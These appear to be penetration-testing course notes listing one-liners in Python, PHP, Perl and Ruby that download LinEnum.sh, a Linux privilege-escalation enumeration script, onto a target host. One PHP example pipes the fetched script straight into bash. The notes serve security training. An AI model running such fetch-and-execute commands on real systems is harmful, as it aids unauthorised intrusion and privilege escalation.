we can create code in any programing language, to download, upload or execute instructions to the OS.
<aside>
</aside>
Python 2 - Download
python2.7 -c 'import urllib;urllib.urlretrieve ("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "LinEnum.sh")'
Python 3 - Download
python3 -c 'import urllib.request;urllib.request.urlretrieve("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "LinEnum.sh")'
<aside>
</aside>
PHP Download with File_get_contents()
php -r '$file = file_get_contents("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>"); file_put_contents("LinEnum.sh",$file);'
An alternative to file_get_contents() and file_put_contents() is the fopen() module. We can use this module to open a URL, read it's content and save it into a file.
PHP Download with Fopen()
php -r 'const BUFFER = 1024; $fremote =
fopen("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
PHP Download a File and Pipe it to Bash
0xWALY@htb[/htb]$ php -r '$lines = @file("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
<aside>
</aside>
perl
perl -e 'use LWP::Simple; getstore("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>", "LinEnum.sh");'
<aside>
</aside>
ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("<https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh>")))'